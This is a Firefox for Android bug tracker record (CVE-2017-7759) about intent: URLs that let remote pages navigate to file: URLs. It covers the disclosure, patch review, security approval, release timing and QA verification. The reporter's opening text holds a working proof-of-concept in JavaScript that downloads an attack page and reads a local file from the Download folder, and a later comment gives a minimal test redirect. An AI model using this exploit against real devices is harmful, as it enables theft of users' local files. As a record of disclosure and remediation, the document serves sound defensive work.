Closed Bug 1356893 (CVE-2017-7759) Opened 3 years ago Closed 3 years ago

Firefox for Android allows navigating from http: to file: URLs

Categories

(Firefox for Android :: General, defect)

52 Branch
defect
Not set

Tracking

()

VERIFIED FIXED
Firefox 55
Tracking Status
fennec + ---
firefox-esr52 --- wontfix
firefox53 --- wontfix
firefox54 + verified
firefox55 + verified

People

(Reporter: websec02.g02, Assigned: esawin)

References

Details

(Keywords: csectype-sop, sec-high, Whiteboard: [post-critsmash-triage][adv-main54+])

Attachments

(2 files, 1 obsolete file)

User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Build ID: 20170323105023
Firefox for Android

Steps to reproduce:

Visit an remote (http) webpage:

<script>
location="intent:file:///(path)#Intent;type=text/html;end";
</script>




Actual results:

The JS code above redirects the user to file: URL.

The redirection allows remote pages to exfiltrate files in /sdcard/Download/.
Here is a PoC that steals "secret" file in Download directory:

<body style=font-size:300%>
<h1>remote_attack.html</h1>
<p>Downloading local_attack.html.</p>
<a id=a0 href="data:text/html,<body style=font-size:300%>
<h1>local_attack.html</h1>
<p>Reading /sdcard/Download/secret.</p>
<script>
var xhr=new XMLHttpRequest();
xhr.open('GET', 'secret', true);
xhr.onreadystatechange = function() {
  if (xhr.readyState == 4) alert(xhr.responseText)
};
xhr.send();
</script>" download="local_attack.html">
<script>
// Attacker first downloads his attack page (local_attack.html) to sdcard
a0.click();

// Then navigates to the file with file scheme.
// (The file path below might need adjustment depending on the device)
setTimeout(function() {
  location="intent:file:///storage/emulated/0/Download/local_attack.html#Intent;type=text/html;end";
}, 2000);
</script>

I confirmed the code works in Firefox for android v52.0.2 (Nexus 5x).



Expected results:

Navigation from http/https URLs to file URLs should be blocked.
Attached file PoC
I would expect this to hit protocol linking checks in CAPS which shouldn't be allowing this. Sebastian, is the intent: protocol magical in some way?

(I expect the PoC doesn't work without the intent: but I haven't checked either way.)
Flags: needinfo?(s.kaspari)
> I would expect this to hit protocol linking checks in CAPS which shouldn't be allowing this.

We don't implement the "intent" protocol internally, as far as I can tell.  Or at least I have not yet found a protocol handler for it.

So it's possible that we hand it off to the OS, and the OS is what strips off the "intent:" bit and then hands the file:// URL right back to us to load (e.g. based on the MIME type).
Intent (and android-app) scheme is handled in IntentHelper.java.
https://dxr.mozilla.org/mozilla-central/source/mobile/android/base/java/org/mozilla/gecko/IntentHelper.java

> I expect the PoC doesn't work without the intent: but I haven't checked either way.
Right. Navigation from http: to file: is blocked in Firefox for Android for security reasons, and of course the same is true in desktop version. The intent: URL allows bypassing the restriction.
If we're the ones extracting the file:// URL from the intent: thing, then we should absolutely do a CheckLoadURI check at that point.

nalexander, do you know something about this code?
Component: Untriaged → General
Flags: needinfo?(nalexander)
Product: Firefox → Firefox for Android
(In reply to Boris Zbarsky [:bz] (still a bit busy) (if a patch has no decent message, automatic r-) from comment #5)
> If we're the ones extracting the file:// URL from the intent: thing, then we
> should absolutely do a CheckLoadURI check at that point.

Looks like we aren't.  I haven't verified this, but my expectation is that the flow goes:
1) Fennec recognizes the intent:// URL
2) Fennec passes the intent:// URL to Android
3) Android knows that Fennec can open file:// URLs
4) Fennec happily loads the file:// URL.

I expect the file:// URL to be loaded in a new tab (i.e. new browsing context), just as if you tapped a file:// link in an Android file manager -- although I haven't verified this.  It *might* be possible to use the EXTRA_APPLICATION_ID, or even non-standard Fennec intent options, to load in the same tab, although we'd need to experiment to figure out if there's danger here.  See https://dxr.mozilla.org/mozilla-central/rev/c697e756f738ce37abc56f31bfbc48f55625d617/mobile/android/base/java/org/mozilla/gecko/Tabs.java#996.

There seem to be two things here:

1) intent: allows to open file:// URLs.  We need to fix this.  This intent: stuff is totally non-standard; we should figure out what Chrome does on Android and do as close to the same thing as possible.  I very much doubt we can robustly "track" a URL through Fennec -> Android -> Fennec again, so we might need to parse some of these intent: URLs and drop dangerous ones on the floor.  It's very difficult to differentiate dangerous ones on Android though, since the scheme is so general.  Maybe somebody else knows more about this and can comment.

2) a page is able to _write_ file:// URLs (without user action).  Isn't that much, much more significant?  Does the "a0.click()" actually work and silently write file:// URLs in Firefox for Android?  That's not the web interaction model I'm aware of.

> nalexander, do you know something about this code?

Not really, but I'll redirect to mcomella, who definitely did, and CC rnewman, who's done work in this area, and we'll find an owner.

Thanks for the report, Takeshi!  Clever!
Flags: needinfo?(nalexander) → needinfo?(michael.l.comella)
Summary: Firefox for android allows navigating from http: to file: URLs → Firefox for Android allows navigating from http: to file: URLs
Let me add some comments.

1)
Chrome also accepts intent: URLs and, because of this, it allows navigating from http: to file: like Firefox does. The difference is that Chrome assigns an unique origin to file: URLs, so the attack cannot be simply applied to Chrome.

Regarding how to fix the issue, please look at the Firefox source code handling intent: URLs:
https://dxr.mozilla.org/mozilla-central/source/mobile/android/base/java/org/mozilla/gecko/IntentHelper.java#277

Intent.parseUri(), which is a part of Android framework, creates an intent from a given intent: URL.
Line 283-288 are the security checks to ensure that only BROWSABLE activities are launched by the intent.
I guess a new check, blocking file: URL if the intent is resolved to Firefox itself, should be introduced here.

2)
AFAIK, Firefox (desktop) and IE ask user's consent before downloading a file, while Edge, Chrome, Firefox (android) and Safari don't. I think the former is better in terms of security. That's especially true in Android, because downloaded files may contain secret and all the installed apps with READ_EXTERNAL_STORAGE permission can read downloaded files.
Another option is to change the same-origin policy for file:// URIs on Android (or perhaps pref-controlled, with the pref set on Android) to be stricter, more like Chrome's.  Unlike desktop, there should be no issue with this breaking help systems delivered via file:// or whatnot.

I _think_ all we need to do for that is make NS_RelaxStrictFileOriginPolicy return false.  I'm a little surprised we don't have a pref for that already...
Flags: needinfo?(dveditz)
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: needinfo?(s.kaspari)
tracking-fennec: --- → ?
Eugen can write a patch for this once we figure out what needs to be done.
Assignee: nobody → esawin
tracking-fennec: ? → 54+
Eugen, do you need further help to figure out next steps?
This is an externally reported high severity security bug, we'd like this sorted out as quickly as possible.
Flags: needinfo?(esawin)
Given the severity of this bug, we should respond swiftly by blocking this specific attack vector and then work towards a more robust and secure handling of file URIs and downloads on Android.

With this patch, we block opening intents containing "file"-scheme data URIs.

As the next step, we can discuss and address potential same-origin policy and download prompt changes.
Flags: needinfo?(esawin)
Attachment #8862432 - Flags: review?(s.kaspari)
Comment on attachment 8862432 [details] [diff] [review]
0001-Bug-1356893-1.0-Reject-opening-intents-with-file-dat.patch

Review of attachment 8862432 [details] [diff] [review]:
-----------------------------------------------------------------

This only affects link on websites and does not break file:// intents from other apps, right?

::: mobile/android/base/java/org/mozilla/gecko/IntentHelper.java
@@ +280,5 @@
>                  return null;
>              }
>  
> +            final Uri data = intent.getData();
> +            if (data != null && "file".equals(data.getScheme())) {

Is the scheme always lower case at this point? Not sure if schemes are case insensitive.
Attachment #8862432 - Flags: review?(s.kaspari) → review+
Comment on attachment 8862432 [details] [diff] [review]
0001-Bug-1356893-1.0-Reject-opening-intents-with-file-dat.patch

Review of attachment 8862432 [details] [diff] [review]:
-----------------------------------------------------------------

To sebastian's other question, about what this impacts, from https://dxr.mozilla.org/mozilla-central/rev/0b77ed3f26c5335503bc16e85b8c067382e7bb1e/mobile/android/base/java/org/mozilla/gecko/IntentHelper.java#274 we can see that this only applies to "intent://" or "android-app://" "outer schemes".  But I doubt this code can differentiate based on where those outer schemes come from -- so if an App such as "am start" (i.e., not Web Content) sends us such an Intent, we'll drop it on the floor as well.

eugen: consider logging that we're dropping a file:// URI (without leaking the URI itself).

::: mobile/android/base/java/org/mozilla/gecko/IntentHelper.java
@@ +282,5 @@
>  
> +            final Uri data = intent.getData();
> +            if (data != null && "file".equals(data.getScheme())) {
> +                return null;
> +            }

Based on https://developer.android.com/reference/android/net/Uri.html#normalizeScheme(), I'd say no, schemes are not case insensitive.  (It's possible we always normalize before this point, but I'd lowercase the scheme anyway to be clear.)
Attachment #8862432 - Flags: feedback+
Comment on attachment 8862432 [details] [diff] [review]
0001-Bug-1356893-1.0-Reject-opening-intents-with-file-dat.patch

+            if (data != null && "file".equals(data.getScheme())) {

To avoid "file", ContentResolver.SCHEME_FILE probably provide more context for tracing.
Attachment #8862432 - Flags: feedback+
(In reply to Sebastian Kaspari (:sebastian) from comment #12)
> This only affects link on websites and does not break file:// intents from
> other apps, right?

As Nick has explained, this would block us from handling all "nested" file-scheme intent URIs ("intent:file://..."), it will not affect handling regular file-scheme URIs ("file://...").

However, with this patch we also block "nested" file-scheme intent URIs for MIME types that we don't support. But I'm not aware of any legitimate use cases for this scenario.

> Is the scheme always lower case at this point? Not sure if schemes are case
> insensitive.

Schemes are case sensitive, but Android would ignore invalid (non-normalized) scheme intents.
I've fixed it in this version.


(In reply to Max Liu [:maliu] from comment #14)
> To avoid "file", ContentResolver.SCHEME_FILE probably provide more context
> for tracing.

ContentResolver doesn't provide all the SCHEME_* constants we care about in this module ("file", "intent", "sms", etc.) so using the string literal seems more consistent and clear. If we're interested in changing that, we should do it consistently across all scheme handling code (in a new bug).
Attachment #8862432 - Attachment is obsolete: true
Attachment #8862510 - Flags: review?(nalexander)
Comment on attachment 8862510 [details] [diff] [review]
0001-Bug-1356893-1.1-Reject-opening-intents-with-file-dat.patch

Review of attachment 8862510 [details] [diff] [review]:
-----------------------------------------------------------------

lgtm.
Attachment #8862510 - Flags: review?(nalexander) → review+
Frederik, can you provide assistance with the phrasing and categorization of this patch for the sec-approval request?

I would suggest that an exploit can be easily constructed based on both, the diff and the patch description.
Flags: needinfo?(fbraun)
The diff points straight to the attack and there's nothing we can do about that.
I think this means we land it just before we release the next version, so that we don't 0day our users.
I'm not sure what you're asking, but I can request approval in your stead.
Flags: needinfo?(fbraun)
If you request sec-approval, use something like this for the first two answers.

Can someone create an exploit based on the patch?
 Yep, easily.

Do code or comment hint at a security issue?
 Both comment and code, so removing the comment wouldnt be of any help. It's pretty obvious.
There is no "landing just before release." Code has to land before the last beta in order to be in the beta.

Can someone just set sec-approval? on the patch and answer *all* of the questions in the template, please?
Comment on attachment 8862510 [details] [diff] [review]
0001-Bug-1356893-1.1-Reject-opening-intents-with-file-dat.patch

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Very easily, the patch provides enough hints for the construction of an exploit.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
Yes, both the logging and the patch description paraphrase the code change, which provides a hint on the security problem. 

Which older supported branches are affected by this flaw?
All branches are affected.

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
This patch should be trivial to uplift.

How likely is this patch to cause regressions; how much testing does it need?
It is unlikely to cause regressions for legitimate and regular use cases.
Attachment #8862510 - Flags: sec-approval?
Flags: needinfo?(dveditz)
Keywords: csectype-sop
Comment on attachment 8862510 [details] [diff] [review]
0001-Bug-1356893-1.1-Reject-opening-intents-with-file-dat.patch

Review of attachment 8862510 [details] [diff] [review]:
-----------------------------------------------------------------

sec-approval=dveditz
Attachment #8862510 - Flags: sec-approval? → sec-approval+
(In reply to Eugen Sawin [:esawin] from comment #21)
> How easily could an exploit be constructed based on the patch?
> Very easily, the patch provides enough hints for the construction of an exploit.

We should probably wait until closer to release before landing, and then hit m-c and beta at the same time. Let's say May 22 or so.
Whiteboard: [wait until 5/22 to land]
I assume I'm not needed anymore - if I am, please email me.
Flags: needinfo?(michael.l.comella)
As discussed on IRC, I'm going to land this on 5/29 and request beta uplift on the same day.
[Tracking Requested - why for this release]:
per comment 25
tracking-fennec: 54+ → +
Track 54+ as sec-high.
https://hg.mozilla.org/integration/mozilla-inbound/rev/f9732aefcc19ba7cf02b7cb864ba6c54a55f70bf

Sebastian, can you please request Beta approval on this when you get a chance? I've already confirmed that it grafts cleanly.
Flags: needinfo?(s.kaspari)
Whiteboard: [wait until 5/22 to land]
Comment on attachment 8862510 [details] [diff] [review]
0001-Bug-1356893-1.1-Reject-opening-intents-with-file-dat.patch

Approval Request Comment

[Feature/Bug causing the regression]: Security issue, see comment 21 for details.

[User impact if declined]: See comment 1: "The redirection allows remote pages to exfiltrate files in /sdcard/Download/"

[Is this code covered by automated tests?]: -

[Has the fix been verified in Nightly?]: Patch just landed on m-c and was held back because it provides enough hints for the construction of an exploit

[Needs manual test from QE? If yes, steps to reproduce]: STR in comment 1 and POC attached to bug.

[List of other uplifts needed for the feature/fix]: -

[Is the change risky?]: No

[Why is the change risky/not risky?]: (comment 21) It is unlikely to cause regressions for legitimate and regular use cases.

[String changes made/needed]: -
Flags: needinfo?(s.kaspari)
Attachment #8862510 - Flags: approval-mozilla-beta?
Comment on attachment 8862510 [details] [diff] [review]
0001-Bug-1356893-1.1-Reject-opening-intents-with-file-dat.patch

sec-high fix for fennec 54.0b12
Attachment #8862510 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Status: NEW → RESOLVED
Closed: 3 years ago
Resolution: --- → FIXED
Flags: qe-verify+
Whiteboard: [post-critsmash-triage]
Group: firefox-core-security → core-security-release
Whiteboard: [post-critsmash-triage] → [post-critsmash-triage][adv-main54+]
Alias: CVE-2017-7759
Devices:
 - Nexus 5 (Android 6.0.1);
 - Nexus 6 (Android 7.0);
 - Huawei P10 (Android 7.0);
 - LG G4 (Android 5.1);
 - Lenovo A536 (Android 4.4.2).

Hello,

Verified this issue using the devices listed above by both opening the file from Comment 1 locally and from a link. 

Build:
 - 54.0 (2017-07-06) - RC
 The page downloads a local_attack.html file and the user is redirected to a "The address wasn't understood" page.  
 No other actions are performed.

 - 54.0b12 (2017-30-05) - Beta
 The page downloads a local_attack.html file and the user is redirected to a "The address wasn't understood" page.  
 No other actions are performed.

 - 55.0a1 (2017-07-06) - Nightly
 The page downloads a local_attack.html file and no other actions are performed.

Notes:
 The user can then open the local_attack.html file if he so desires after it has finished downloading.

@Eugen It is unclear to me what would be the expected behavior. It would seem that there is another action happening in the RC and Beta build but no other action is taken in the Nightly one. The local_attack.html file is not opened in any of these situations. If this is the desired effect please consider this issue as verified.
Flags: needinfo?(esawin)
(In reply to Bogdan Surd, QA [:BogdanS] from comment #33)
> Verified this issue using the devices listed above by both opening the file
> from Comment 1 locally and from a link.

Comment 1 only contains the local_attack.html, you need to verify against the remote_attack.html from the description (comment 0).

> @Eugen It is unclear to me what would be the expected behavior. It would
> seem that there is another action happening in the RC and Beta build but no
> other action is taken in the Nightly one. The local_attack.html file is not
> opened in any of these situations. If this is the desired effect please
> consider this issue as verified.

The expected behavior is that the "intent:file:..." URL is blocked and local_attack.html is not opened.
There should not be any different behavior on Nightly (I couldn't reproduce it locally).

A minimal test page could be the following code:

<script>
  location="intent:file:///storage/emulated/0/Download#Intent;type=text/html;end";
</script>

When opening the given test page above, the browser should block the URL (The address wasn't understood).
A compromised browser would show the contents of the local Download directory when opening the given test page.
Flags: needinfo?(esawin)
Hello,

 Thank you for clearing this up for me and sorry for not being clear, I did use the remote_attack.html. None of the browsers opened or showed the content of the local_attack.html. Marking this as verified.
Status: RESOLVED → VERIFIED
Flags: sec-bounty?
Flags: sec-bounty?
Flags: sec-bounty+
Flags: needinfo?(dveditz)
Depends on: 1374200
Could you remove view restriction on this report please? I would like to mention this bug in my blog post I'm now preparing. Thanks.
Group: core-security-release
Flags: needinfo?(dveditz)
Removing qe-verify flag based on comment 35.
Flags: qe-verify+
You need to log in before you can comment on or make changes to this bug.